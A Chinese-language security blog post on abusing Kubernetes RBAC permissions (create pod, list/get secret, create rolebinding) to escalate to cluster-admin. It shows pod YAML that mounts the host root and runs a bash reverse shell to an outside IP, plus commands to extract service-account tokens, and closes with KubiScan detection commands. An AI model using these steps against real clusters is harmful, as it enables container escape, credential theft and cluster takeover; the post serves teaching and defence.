<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    RBAC權限的濫用

    VSole2023-01-31 14:04:46

    在上一篇文章中我們講了RBAC授權,傳送門:K8s API訪問控制 。并且絕大多數版本的K8s都默認使用RBAC作為其默認的授權方式。那么RBAC授權在我們進行K8s集群橫向移動的時候有哪些可利用點呢?本篇文章我們介紹在K8s集群橫向移動時如何濫用RBAC權限,并通過濫用的RBAC權限橫向獲得集群的cluster-admin權限接管整個K8s集群。

    假如我們在K8s集群橫向移動的時候,獲得了一個kubeconfig文件或者獲得了一個Token,亦或者是獲得了某臺pod的權限。那么接下來我們的橫向思路是什么呢?

    在之前的文章中我們知道,一個Pod必須要以某一個Service Account的身份去運行,而一個Service Account對應著一個Secret,一個Secret保存著一個Token和公鑰文件。所以獲得了Pod的權限就意味著獲得了一個具有訪問K8s API Server的Service Account,只不過默認情況下該Service Account所擁有的權限比較低而已。而獲得的Token最終也是可以轉換到一個Service Account對象,該Service Account對象的權限取決于它所綁定的角色。而kubeconfig文件也是可以最終轉換到對應的訪問主體上(User/Group),該kubeconfig文件的權限取決于所對應的主體綁定的角色。

    所以這個問題最后就歸結到所獲得的kubeconfig文件、Token、Pod所對應的主體綁定的角色如何。

    以下我們以獲得了某個Pod權限為例作為演示,這也是實戰中碰到最多的情況。

    RBAC權限濫用

    首先,需要查看該pod對應的Token所擁有的權限,可以執行如下命令進行查看,查看其他的資源權限命令也一樣。


    #查看是否擁有 cluster-admin 的權限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#列出當前用戶對所有服務器資源的訪問權限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#列出當前用戶對所有指定命名空間的訪問權限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"#pod相關kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443  --token="xxxx"
    

    對于不同資源的權限,我們比較關注如下幾個:

    • 創建pod權限
    • 查看secret權限
    • 創建Rolebinding/clusterrolebinding權限


    創建POD權限

    創建pod權限對于攻擊者來說是很重要的,如果攻擊者擁有了創建pod權限,那么攻擊者則可以在master節點創建特權容器掛載宿主機的目錄,從而進行容器逃逸獲得宿主機master節點的權限,從而接管整個K8s集群。

    而創建pod權限也分為在整個K8s集群創建pod和在指定的命名空間下創建pod。

    指定命名空間

    如下,創建一個具有創建pod權限的role,名為create-pod,作用的命名空間為test。


    kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:  namespace: test  name: create-podrules:- apiGroups: ["*"]  resources: ["pods"]  verbs: ["create","get"]
    

    注:要想能創建pod,需要對pods擁有get和create權限。

    然后再創建ServiceAccount test-sa,并將test-sa與create-pod進行rolebinding,作用的命名空間為test。


    #在test命名空間創建test-sa服務賬戶kubectl create serviceaccount test-sa -n test#將test-sa與create-pod進行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa
    

    此時服務賬戶test-sa的token在test命名空間內就具有創建pod的權限了。執行如下命令查看服務賬戶test-sa所對應的token。


    #獲得服務賬戶test-sa所對應的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n test
    

    假如我們現在獲得了該Token,并想利用該Token進行橫向移動。

    可以看到該Token在test命名空間下具有create/get pod的權限。

    擁有創建pod的權限我們一般的思路是創建一個掛載了宿主機根目錄的pod,然后再進入pod進行逃逸。如下我們在創建pod的時候指定命令來進行反彈shell,并且掛載了宿主機的根目錄到/mnt下,如下是創建pod的yml文件:


    apiVersion: v1kind: Podmetadata:  name: myapp2  namespace: testspec:  containers:  - image: nginx    name: container    command: ["bash"]    args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /
    

    執行如下命令利用該token遠程訪問API Server并創建pod。

    pod創建完成后,可以看到接收到了目標pod的權限,并且掛載了宿主機的目錄。然后就可以逃逸到宿主機了。

    注:我們可以直接在創建pod的yml文件中使用spec.nodeName指定master節點。逃逸成功后就直接獲得了master節點的權限了。

    集群角色

    如下,創建一個具有創建pod權限的clusterrole,名為create-pod。


    kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: create-podrules:- apiGroups: ["*"]  resources: ["pods"]  verbs: ["create","get"]
    

    然后再創建ServiceAccount test-sa10,并將test-sa10與create-pod進行clusterrolebinding。


    #在test命名空間創建test-sa10服務賬戶kubectl create serviceaccount test-sa10 -n test#將test-sa10與create-pod進行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10
    

    此時服務賬戶test-sa10的token在整個集群內就具有創建pod的權限了。執行如下命令查看服務賬戶test-sa10的token。


    #獲得服務賬戶test-sa所對應的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n test
    

    假如我們現在獲得了該Token,并想利用該Token進行橫向移動。

    我們接下來的思路是在創建pod的時候,手動指定高權限的ServiceAccount namespace-controller并指定命令來進行反彈shell,如下是創建pod的yml文件:


    apiVersion: v1kind: Podmetadata:  name: myapp  namespace: kube-systemspec:  serviceAccountName: "namespace-controller"  containers:  - image: nginx    name: container    command: ["bash"]    args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"]  volumes:  - name: test    hostPath:      path: /
    

    等待pod創建完成,接收到shell。由于這個pod綁定的服務賬戶是指定的namespace-controller,因此具有這個服務賬戶所有的權限。

    服務賬戶namespace-controller所擁有的權限如下

    因此可以利用該Token做任何事,包括查看集群內所有的secret。

    查看secret權限

    查看secret權限需要對secret具有list和get權限。并且默認情況下,只有kube-system命名空間下的secret具有高權限。

    list secret

    擁有list secret的權限可以列舉出集群中所有的secret,但是不能讀取secret所對應的Token。

    如下,創建一個具有list secret權限的ClusterRole,名為list-secret。


    kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: list-secretrules:- apiGroups: ["*"]  resources: ["secrets"]  verbs: ["list"]
    

    然后再創建ServiceAccount test-sa2,并將test-sa2與list-secret進行clusterrolebinding。


    #在test命名空間創建test-sa2服務賬戶kubectl create serviceaccount test-sa2 -n test#將test-sa2與list-secret進行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2
    

    此時服務賬戶test-sa2的token就具有list secret的權限了。執行如下命令查看服務賬戶test-sa2所對應的token。


    #獲得服務賬戶test-sa2所對應的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test
    

    假如我們現在獲得了該Token,并想利用該Token進行橫向移動。 查看該token所具有的權限,可以看到只有list secret的權限。

    利用該token進行認證可以列出所有的secrets。

    但是想查看secret的具體信息的話還是沒有權限,原因在于查看secret的具體信息需要get secret權限。

    get secret

    擁有get secert的權限可以獲得集群中指定的secret所對應的Token。如下,創建一個具有get secret權限的ClusterRole,名為get-secret。


    kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: get-secretrules:- apiGroups: ["*"]  resources: ["secrets"]  verbs: ["get"]
    

    然后再創建ServiceAccount test-sa3,并將test-sa3與get-secret進行clusterrolebinding。


    #在test命名空間創建test-sa3服務賬戶kubectl create serviceaccount test-sa3 -n test#將test-sa3與get-secret進行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3
    

    此時服務賬戶test-sa3的token就具有get secret的權限了。執行如下命令查看服務賬戶test-sa3所對應的token。


    #獲得服務賬戶test-sa3所對應的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test
    

    假如我們現在獲得了該Token,并想利用該Token進行橫向移動。

    查看該token所具有的權限,可以看到只有get secret的權限。

    具有get secret權限可以查看secret的具體信息,但是需要secret的具體名字。而獲得secret的具體名字需要有list secret權限,如下圖所示。當知道了secret的具體名字后即可查看對應secret的token。

    因此,僅僅有get secret權限也是不夠的,需要和list secret一起結合使用。

    K8s默認的高權限secret

    K8s有如下secret默認是具有高權限的,只要獲得了這些secret的token,就可以進行提權。最后面的五個字符是隨機生成的,并且擁有27^5種可能性,如下:

    • bootstrap-signer-token-xxxxx
    • daemon-set-controller-token-xxxxx
    • generic-garbage-collector-token-xxxxx
    • namespace-controller-token-xxxxx
    • replicaset-controller-token-xxxxx
    • resourcequota-controller-token-xxxxx
    • token-cleaner-token-xxxxx


    我們以bootstrap-signer-token-962js 為例,查看它的權限。該secret所對應的ServiceAccount為bootstrap-signer


    kubectl describe secret bootstrap-signer-token-962js -n kube-system
    

    對Token進行JWT解碼 https://jwt.io/#debugger 也可以看到

    查看該ServiceAccount綁定的角色,可以看到綁定的角色為Role/system:controller:bootstrap-signer。


    kubectl get RoleBindings -o wide -A | grep bootstrap-signer
    

    最后查看該角色所對應的權限,可以看到所擁有的權限為對secrets具有get、list、watch的權限。


    kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system
    

    創建rolebinding/clusterrolebinding權限

    如果攻擊者擁有rolebinding(作用在命名空間kube-system)或者clusterrolebinding權限,則攻擊者可以將當前所控制的主體與高權限的Role/clusterRole進行綁定,從而進行提權。

    如下,創建一個具有create rolebinding權限的rRole,名為create-rolebinding,作用在kube-system命名空間。


    kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:  name: create-rolebinding  namespace: kube-systemrules:- apiGroups: ["*"]  resources: ["rolebindings"]  verbs: ["create"]
    

    然后在kube-system命名空間創建ServiceAccount test-sa5,并將test-sa5與create-rolebinding進行rolebinding。


    #在test命名空間創建test-sa5服務賬戶kubectl create serviceaccount test-sa5 -n kube-system#將test-sa5與create-rolebinding進行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5
    

    此時服務賬戶test-sa5的token就具有create rolebinding的權限了。執行如下命令查看服務賬戶test-sa5所對應的token。


    #獲得服務賬戶test-sa5所對應的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system
    

    假如我們現在獲得了該Token,并想利用該Token進行橫向移動。

    此時我們就可以利用該Token給kube-system命名空間下的test-sa5進行rolebinding,綁定的role為system:controller:bootstrap-signer,該role默認對kube-system命名空間下的secrets進行get、list、watch。但是當我們使用該token進行rolebinding的時候,提示如下錯誤。

    那么為什么會報錯呢?

    原因在于RBAC API 會阻止用戶通過編輯角色或者角色綁定來提升權限。

    檢測RBAC權限濫用

    對于K8s集群管理員來說,可以利用下面的這款工具檢測集群內的高危對象。

    項目地址:

    https://github.com/cyberark/KubiScan

    查找集群中所有高危的對象

    執行如下命令查找集群中所有高危的對象,如所有高危的Roles\ClusterRoles, RoleBindings\ClusterRoleBindings, users and pods\containers


    kubiscan -a
    

    查找具有高權限的Role/ClusterRole


    #查找具有高權限的Rolekubiscan -rr#查找具有高權限的Role,并顯示具有的規則kubiscan -rr -r#查找具有高權限的ClusterRolekubiscan -rcr#查找具有高權限的ClusterRole,并顯示具有的規則kubiscan -rcr -r
    #查找具有高權限的Role和ClusterRolekubiscan -rar#查找具有高權限的Role和ClusterRole,并顯示具有的規則kubiscan -rar -r
    

    查找具有高權限的Rolebindings/ClusterRolebindings


    #查找具有高權限的Rolebindingskubiscan -rb#查找具有高權限的ClusterRolebindingskubiscan -rcb#查找具有高權限的Rolebindings和ClusterRolebindingskubiscan -rab
    

    查詢具有高權限的主體


    kubiscan -rp
    

    查找關聯了高權限ServiceAccount的pod


    kubiscan -rp
    

    查找特權pod


    kubiscan -pp
    

    查找指定主體綁定的權限

    指定命名空間下的ServiceAccount綁定的角色

    執行如下命令查找kube-system命名空間下daemon-set-controller服務賬戶綁定的角色。

    kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
    

    指定User綁定的角色

    執行如下命令查找system:kube-controller-manager用戶綁定的角色。

    kubiscan -aars "system:kube-controller-manager" -k "User"
    

    指定Group綁定的角色

    執行如下命令查找system:masters組綁定的角色。

    kubiscan -aars "system:masters" -k "Group"
    

    查找指定主體的綁定

    指定命名空間下的ServiceAccount的綁定

    kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"
    

    指定User的綁定

    執行如下命令查找system:kube-controller-manager用戶的綁定。


    kubiscan -aarbs "system:kube-controller-manager" -k "User"
    

    指定Group的綁定

    執行如下命令查找system:masters組的綁定。


    kubiscan -aarbs "system:masters" -k "Group"
    

    testpod
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Tetragon的實踐
    2022-08-07 07:36:54
    tetragon是cilium的子項目,基于ebpf監控容器的進程行為、文件訪問、網絡訪問,以及特權的使用,
    RBAC權限的濫用
    2023-01-31 14:04:46
    K8s RBAC權限濫用進行橫向移動。
    最近在學習云原生相關的滲透知識,該系列文章記錄學習過程,包括基礎知識(主要是k8s的搭建使用以及一些概念等,docker基礎使用操作不贅述。)、工具的使用、逃逸漏洞復現等。 服務器準備 騰訊云 云服務器,新建三臺服務器(香港地區)。
    一、前言 這篇文章可能出現一些圖文截圖顏色或者命令端口不一樣的情況,原因是因為這篇文章是我重復嘗試過好多次才寫的,所以比如正常應該是訪問6443,但是截圖中是顯示大端口比如60123這種,不影響閱讀和文章邏輯,無需理會即可,另外k8s基礎那一欄。。。本來想寫一下k8s的鑒權,后來想了想,太長了,不便于我查筆記,還不如分開寫,所以K8S基礎那里屬于湊數???寫了懶得刪(雖然是粘貼的:))
    近日,研究人員向Kubernetes安全團隊報告了一個可導致容器逃逸的安全漏洞[1],獲得編號CVE-2021-25741,目前的CVSS3.x評分為8.8[2],屬于高危漏洞。該漏洞引起社區的廣泛討論[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的補丁不充分導致,事實也的確如此。
    K8s組件和架構
    2022-12-29 16:51:34
    K8s常見組件和架構
    Kubernetes部署應用
    2022-05-11 13:36:57
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    K8S kubelet 10250/10255端口未授權訪問
    K8s 的API Server未授權命令執行
    前言學習筆記-請勿當真。如有錯誤-也很正常。練習地址https://katacoda.com/madhuak
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类